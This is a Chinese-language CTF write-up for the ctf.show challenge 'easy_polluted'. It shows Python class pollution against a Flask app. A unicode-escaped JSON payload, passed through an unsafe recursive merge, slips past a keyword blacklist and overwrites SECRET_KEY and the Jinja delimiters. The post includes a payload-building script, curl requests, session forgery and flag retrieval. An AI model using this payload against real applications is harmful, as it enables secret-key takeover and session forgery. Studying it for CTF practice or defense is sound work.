easy_polluted https://ctf.show/challenges#easy_polluted-4403

easy_polluted https://ctf.show/challenges#easy_polluted-4403

1. 生成Payload

from flask import Flask
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()

def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False

app = Flask(__name__)
app.secret_key = generate_random_md5()

class Evil():
    def __init__(self):
        pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
                """
                3. 反推merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__["app"]) 
                    - merge(v, dst.get(k)) -> merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__.get("app"))
                    - v = {"jinja_env": {"variable_end_string": "#]"}}
                    - dst = evil.__init__.__globals__
                    - k = "app"
                    - src = {k:v} = {"app":{"jinja_env": {"variable_end_string": "#]"}}}
                    - 带入src, dst
                    - 反推merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, evil.__init__.__globals__) 
                        - __globals__是属性, 跳转到merge(v, getattr(dst, k))
                """
            else:
                dst[k] = v
                # 反推evil.__init__.__globals__["app"].config["SECRET_KEY"] = "password"的起点, 其他同理

        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
            """
            2. 反推merge({"variable_end_string": "#]"}, evil.__init__.__globals__["app"].jinja_env)
                - merge(v, getattr(dst, k)) -> merge({"variable_end_string": "#]"}, getattr(evil.__init__.__globals__["app"], "jinja_env"))
                - v = {"variable_end_string": "#]"}
                - dst = evil.__init__.__globals__["app"]
                - k = "jinja_env"
                - src = {k:v} = {"jinja_env": {"variable_end_string": "#]"}}
                - 带入src, dst
                - 反推merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__["app"]) 
                    - app是元素, 跳转到merge(v, dst.get(k))
            4. 反推merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, evil.__init__.__globals__)
                - merge(v, getattr(dst, k)) -> merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, getattr(evil.__init__, "__globals__"))
                - v = {"app":{"jinja_env": {"variable_end_string": "#]"}}}
                - dst = evil.__init__
                - k = "__globals__"
                - src = {k:v} = {"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}
                - 带入src, dst
                - 反推merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, evil.__init__)
                    - "__init__"是属性, 跳转到merge(v, getattr(dst, k))
            5. 反推merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, evil.__init__)
                - merge(v, getattr(dst, k)) -> merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, getattr(evil, "__init__"))
                - v = {"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}
                - dst = evil
                - k = "__init__"
                - src = {k:v} = {"__init__":{"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}}
                - 带入src, dst
                - 反推merge({"__init__":{"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}}, evil)
                    - 得到payload
            """
        else:
            setattr(dst, k, v)
            """
            1.反推evil.__init__.__globals__["app"].jinja_env.variable_end_string = "#]"
                - setattr(dst, k, v) -> setattr(evil.__init__.__globals__["app"].jinja_env, "variable_end_string", "#]")
                - dst = evil.__init__.__globals__["app"].jinja_env
                - k = "variable_end_string"
                - v = "#]"
                - src = {k:v} = {"variable_end_string": "#]"}
                - 带入src, dst
                - 反推merge({"variable_end_string": "#]"}, evil.__init__.__globals__["app"].jinja_env)
                    - jiaja_env是属性, 跳转到merge(v, getattr(dst, k))
            """
            
evil = Evil()
payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "[#",
                    "variable_end_string": "#]"
                },
                "config" : {
                    "SECRET_KEY" :"password"
                }
            }
        }
    }
}
def json_to_unicode(string):
    result = ""
    for i in string:
        if i not in ' :",{}':
            result += fr"\u{ord(i):04x}"
            # result += r"\u" + hex(ord(i))[2:].zfill(4)
        else:
            result += i 
    return result

payload = json_to_unicode(json.dumps(payload,separators=(',', ':')))



print("BEFORE")
print(f"  jinja_env.variable_start_string = {app.jinja_env.variable_start_string}")
print(f"  jinja_env.variable_end_string   = {app.jinja_env.variable_end_string}")
print(f"  config['SECRET_KEY']            = {app.config['SECRET_KEY']}")
print("PAYLOAD")
print(payload)
"""
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"},"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064"}}}}}
"""
if not filter(str(payload)):
    merge(json.loads(payload), evil)
print("AFTER")
print(f"  jinja_env.variable_start_string = {app.jinja_env.variable_start_string}")
print(f"  jinja_env.variable_end_string   = {app.jinja_env.variable_end_string}")
print(f"  config['SECRET_KEY']            = {app.config['SECRET_KEY']}")            

2. 污染

  • POST /
    • 注意Content-Type是application/json
    curl -i -X POST \
    -H "Content-Type:application/json" \
    -d \
    '{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"},"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064"}}}}}' \
    'https://b6c08848-2988-4232-914a-962767edd7e7.challenge.ctf.show/'
    
  • Response:
    • MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED

3. 登录

#这里登录
@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
  • POST /
    • username=adminer&password=password
  • RESPONSE
    • 得到Response的set-cookie: session=.eJyrVipILC4uzy9KUbJCMHWUSotTi_ISc1OBookpuZl5qUVKtQBn1A_P.aiqAZg.wlNJx-6g_t7LisID7XTr4sb_Ipc; HttpOnly; Path=/

4. 获取flag

# 用户名是adminer
if username == "adminer" and password == app.secret_key:
  • GET /admin
    • 修改请求的Cookie为上一步得到的session值
    curl -i -X GET \
    -H "Cookie:session=.eJyrVipILC4uzy9KUbJCMHWUSotTi_ISc1OBookpuZl5qUVKtQBn1A_P.aiqAZg.wlNJx-6g_t7LisID7XTr4sb_Ipc" \
    'https://b6c08848-2988-4232-914a-962767edd7e7.challenge.ctf.show/admin'
    
  • RESPONSE
    • ctfshow
posted @ 2026-06-11 17:37  twfb  阅读(5)  评论(0)    收藏  举报